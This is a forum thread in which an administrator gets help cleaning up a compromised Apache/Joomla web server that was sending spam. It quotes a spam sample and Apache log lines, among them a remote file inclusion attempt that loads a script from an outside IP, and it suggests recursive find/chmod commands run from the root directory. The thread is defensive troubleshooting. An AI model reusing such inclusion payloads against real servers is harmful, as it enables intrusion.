LinuxQuestions.org

LinuxQuestions.org (/questions/)
-   Linux - Security (https://www.linuxquestions.org/questions/linux-security-4/)
-   -   apache being used for spamming (https://www.linuxquestions.org/questions/linux-security-4/apache-being-used-for-spamming-742079/)

rogerdv 07-22-2009 06:06 PM

apache being used for spamming
 
First of all i have to explain that this is not my server. Im just trying to fix a setup I didnt installed of configured, I just have access to it via ssh, so, my info perhaps is incomplete or inacurate.
The problem is that this particular server is being used for sending spam using apache scripts. MTA is qmail and seems to be properly configured to forbid open relay. The distro used is Fedora 6, and it seems to be mostly a web server, it hosts serveral sites (with apache 2.2.3) built with Joomla 1.0.15.
Here is the mail from technical support explaining the problem:

Quote:

Hello,

We could see spamming from your server. Thats why the mail queue become this much huge. This is the content of spam from your server

*********************
--------------
MESSAGE NUMBER 10503249
--------------
Received: (qmail 9567 invoked by uid 48); 20 Jul 2009 10:16:06 -0500
Date: 20 Jul 2009 10:16:06 -0500
Message-ID: <20090720151606.9564.qmail@PanamB.ds>
To: dan1988@yandex.ru, dan1988dan@yandex.ru, dan1989@yandex.ru,
dan1990@yandex.ru, dan1991@yandex.ru, dan19921992@yandex.ru,
dan1993@yandex.ru, dan1994@yandex.ru
Subject: ���������c3kc!!
From: chasm4@gmail.com
To: dan1988@yandex.ru, dan1988dan@yandex.ru, dan1989@yandex.ru,
dan1990@yandex.ru, dan1991@yandex.ru, dan19921992@yandex.ru,
dan1993@yandex.ru, dan1994@yandex.ru
Subject: ���������c3kc!!
Reply-To: chasm4@gmail.com
Mime-Version: 1.0
Content-type: text/html; charset=windows-1251


�� ������� . ���� �� ����� ������� �oTuKu ,
�� ������� http://drjiwa.com/includes/jndex.html ��� �� �. ���� ����� ... ������������
************************

The spam mails are sent from apache using scripts. I have disabled some of the scripts. Please check the UID of the user who is sending the mail. This clearly indicated that the spam mails are sending out of server via apache service.

**************
Received: (qmail 9049 invoked by uid 48); 20 Jul 2009 05:54:59 -0500
[root@PanamB ~]# grep 48 /etc/passwd
apache:x:48:48:Apache:/var/www:/sbin/nologin
[root@PanamB ~]# grep 48 /etc/passwd
apache:x:48:48:Apache:/var/www:/sbin/nologin
antadbiz:x:10005:48::/var/www/vhosts/antad.biz:/bin/false
**************


As the number of message in the queue was too large, the email service in the server was down. Qmail was not able to process the queue. So I have cleared the qmail queue to make the mail service working.

Now the mails are going out of the server. Currently there is no spamming in the server.

****************
[root@PanamB ~]# ./qmHandle -s
Messages in local queue: 0
Messages in remote queue: 0
[root@PanamB ~]#
***************

Please do verify from your part.

In case you have any further queries or troubles, please do let us know the same with sufficient LOGIN DETAILS (with password, ports, etc. for checking), the EXACT steps/URLs to recreate the scenario at our end. Also include any needed ERROR details.


We have checked your query in detail. We could see that some of the domains( canalpaisano.com,eduardoestrella.net fernandoelizondo.org iq-zone.com partidopatriota.com partidopatriota.net patriajoven.com ) has some suspicious files hosted inside them. We had to disable some of those scripts. Upon further analysis we could see that many files and directories were provided 777 permission which is really dangerous. This will help any hacker to exploit the server and send out spam. We suggest you to go through the files and modify the permissions.

>>>>What should we do to avoid this problem forever?

In-order to resolve this problem you need to conduct a detailed security audit in the server to check for vulnerabilities. You may to apply patches and other security fixes if necessary.
To prevent further spam I modified the sendmail_path in php.ini. So, php cant send anymore mails. But Im aware that this is not the optimal solution. Can somebody suggest me the correct way to deal with this problem? Also, how can I search all the files with permissiones set to 777 to correct them?

GaijinPunch 07-22-2009 06:37 PM

To find files w/ 777 permissions:

Code:

find / -perm 777 -print
As for the PHP sending mails... it could be any number of scripts doing the mailing. If they are well made scripts (which they very likely aren't) they use some central type of class to do the mailing (I use phpmailer). If you find this class, it makes searching the php scripts easier. You could also modify it to take some type of validation paramter, and have any legit mailing routine pass that parameter, and in effect nullify any spam script. They still might eat up CPU though.

On the flip side, each script could also do all the "mailing" itself, which could make the hunt a lot nastier.

rogerdv 07-22-2009 07:07 PM

Still hunting the conflictive scripts. But 777 files and directories are thousands. Is there any way to recursively run chmod to fix the files and directories at the same time without messing the x permission for directories?

win32sux 07-22-2009 10:24 PM

Quote:

Originally Posted by rogerdv (Post 3617104)
Still hunting the conflictive scripts. But 777 files and directories are thousands. Is there any way to recursively run chmod to fix the files and directories at the same time without messing the x permission for directories?

You could do a:
Code:

find / -type f -perm 777 -exec chmod XXX {} \;
Replace XXX with the perms you want to assign, and remove "-type f" if you don't only want to chmod files.

Make sure you BACKUP everything before doing anything.

unSpawn 07-23-2009 06:06 AM

...in addition to what's been said already, and before you go off hunting for file permissions it would be good to create an overview of things to do.


Quote:

Originally Posted by rogerdv
First of all i have to explain that this is not my server. Im just trying to fix a setup I didnt installed of configured,

It is good that you are taking responsability for correcting mistakes. This not being your server doesn't require any apologies, in fact it can be an advantage because you can look at things more objectively. You should choose to make an effort in being as complete as possible, because more than chmodding is needed and you should perform tasks in as short a timeframe as possible. In perparation make sure you
- have the right tools at your disposal and
- keep a clear eye on the goals.
You should choose to
- keep a checklist and log of tasks you perform,
- locate and make backs whenever necessary and
- have an overview of things to mitigate and problems to correct and a plan to work with.
Also please list what tasks you have performed already when you reply. This enables us to help you better.
* Since this is a commercial hosting platform you have to make clear to yourself that while you perform those tasks you can not serve two masters because as long as the current situation is allowed to exist the machine remains susceptible to abuse.

* Use 'screen' to enable yourself to run multiple tasks in different virtual terminal windows (and do enable logging with CTRL-A, H).
The first things to do would be to make sure the foundation you work on is trustworthy and mitigate:
0. verify the system state ('rpm -Vva 2>&1| tee /root/rpmva.log') and review the log,
1. do not log in as root but have a suitable unprivileged account to SSH into and use public key authentication,
2. make sure you can use sudo to perform the necessary system maintenance, then
3. (enumerate and) ensure that only authorized users have access to the system itself (passwd, group, shadow, last, lastb, lastlog, w, who or run GNU Tiger or Lsat),
4. mitigate the situation by disallowing any clients to access the host as unauthorized or unauthorized user (vipw),
5. mitigate the situation by denying access to publicly accessable services (/etc/hosts.{allow,deny}, firewall),
6. check the last two tasks actually result in denied access (ps, lsof, iptables, netstat, last, lastb, lastlog, w, who).

Procede by taking stock of the situation and investigating:
- review the /etc/syslog.conf for logging options, then review syslog and any daemon-specific logs (visual inspection, logwatch, mailbox),
- enumerate (publicly accessable) services and who has access to those,
- review any user homes contents,
- from running 'rpm -Vva',
- install and run GNU Tiger, chkrootkit and rootkit hunter and review the logs (general system health, not rootkits),
- unpack the textfile from the joomla-file-diagnostics_1.0.15.zip and use those hashes to verify files,
- review the 8 hosts your technical support marked as having suspicious files.

When this is complete you should restore default system file permissions using 'rpm --set-perms' and chmod back any Docroot or UserDir dirs and files.

Please be as complete and verbose in your answers as possible and if anything is unclear please ask before acting.
And please do check back often as so this situation doesn't drag on for days.

* Anyone please correct me if I forgot to address anything in this assessment phase.

rogerdv 07-23-2009 03:19 PM

Ok, the attack seems to stop, or at least the last spam I see in the qmail queue are from Jul 22 around 13-14 hours. I have checked carefully the apache logs looking for suspicious activity during that time and seems that right at that time apache didnt served any files. Any idea about what other log file could help?

unSpawn 07-23-2009 06:53 PM

Quote:

Originally Posted by rogerdv (Post 3618078)
Ok, the attack seems to stop, or at least the last spam I see in the qmail queue are from Jul 22 around 13-14 hours.

That is nice but what does it really mean in terms of "plugging the hole"?


Quote:

Originally Posted by rogerdv (Post 3618078)
I have checked carefully the apache logs looking for suspicious activity during that time and seems that right at that time apache didnt served any files.

Maybe looking through logrotated or archived logs you may reveal more.


Quote:

Originally Posted by rogerdv (Post 3618078)
Any idea about what other log file could help?

Depending on what's running, when and how logs get rotated and where your applications write to, how about the result of 'lsof -P -w -n +D/var | awk '/[0-9].*w / {print $NF}'|sort -u'?

BTW you haven't addressed about anything in the last two replies. Is there anything you didn't get? Do you think it's overkill? Do you have reading problems? ;-p

rogerdv 07-23-2009 07:28 PM

I followed some of your advices, some others were not needed (tech support installed and executed rootkit detection tools) and other were already implemented. So, your reply was useful and the only persisting problem is that we cant find what files were used to send the mails (and so, probably I wont get paid for 2 days of looking at log files and going home at 9 PM when the rest of the city is enjoying the carnivals). The tech support refers to some "disabled scripts", but they dont specify, so I dont know what do they mean by disable.
By the way, there are some weird lines in the apache logs, can somebody explain me why do they refer to external urls?

Code:

91.212.127.100 - - [22/Jul/2009:20:45:11 -0500] "GET http://ant.dsabuse.com/abc.php?auth=45V456b09m&strPassword=P%5BSHUR_FDG%5CWB&nLoginId=43 HTTP/1.1" 404 285 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12"

210.72.4.129 - - [23/Jul/2009:02:00:58 -0500] "GET http://www.yahoo.com/ HTTP/1.1" 200 3523 "-" "Mozilla/5.0 (compatible; MSIE 5.01; Win2000)"
210.72.4.129 - - [23/Jul/2009:02:00:58 -0500] "GET http://www.yahoo.com/ HTTP/1.1" 200 3523 "-" "Mozilla/5.0 (compatible; MSIE 5.01; Win2000)"
210.72.4.129 - - [23/Jul/2009:02:00:58 -0500] "GET http://www.yahoo.com/ HTTP/1.1" 200 3523 "-" "Mozilla/5.0 (compatible; MSIE 5.01; Win2000)"
92.240.68.152 - - [23/Jul/2009:04:42:53 -0500] "GET http://www.threeimaginarygirls.com/files/primus_0.jpg HTTP/1.1" 404 308 "http://random.yahoo.com/fast/ryl" "webcollage/1.135a"

This is another couple of lines that annoy me:
Code:

65.50.119.235 - - [22/Jul/2009:04:52:22 -0500] "GET /appserv/main.php?appserv_root=http://190.161.40.22/appserv/t.txt? HTTP/1.1" 404 292 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
65.50.119.235 - - [22/Jul/2009:04:52:22 -0500] "GET /appserv/main.php?appserv_root=http://190.161.40.22/appserv/t.txt? HTTP/1.1" 404 292 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"


unSpawn 07-23-2009 08:08 PM

Quote:

Originally Posted by rogerdv (Post 3618259)
and the only persisting problem is that we cant find what files were used

Ah, I see. Well good luck with that then.


Quote:

Originally Posted by rogerdv (Post 3618259)
Code:

"GET /appserv/main.php?appserv_root=http://190.161.40.22/appserv/t.txt?

Looks like (a failed attempt to) remote file inclusion to me.


All times are GMT -5. The time now is 12:06 AM.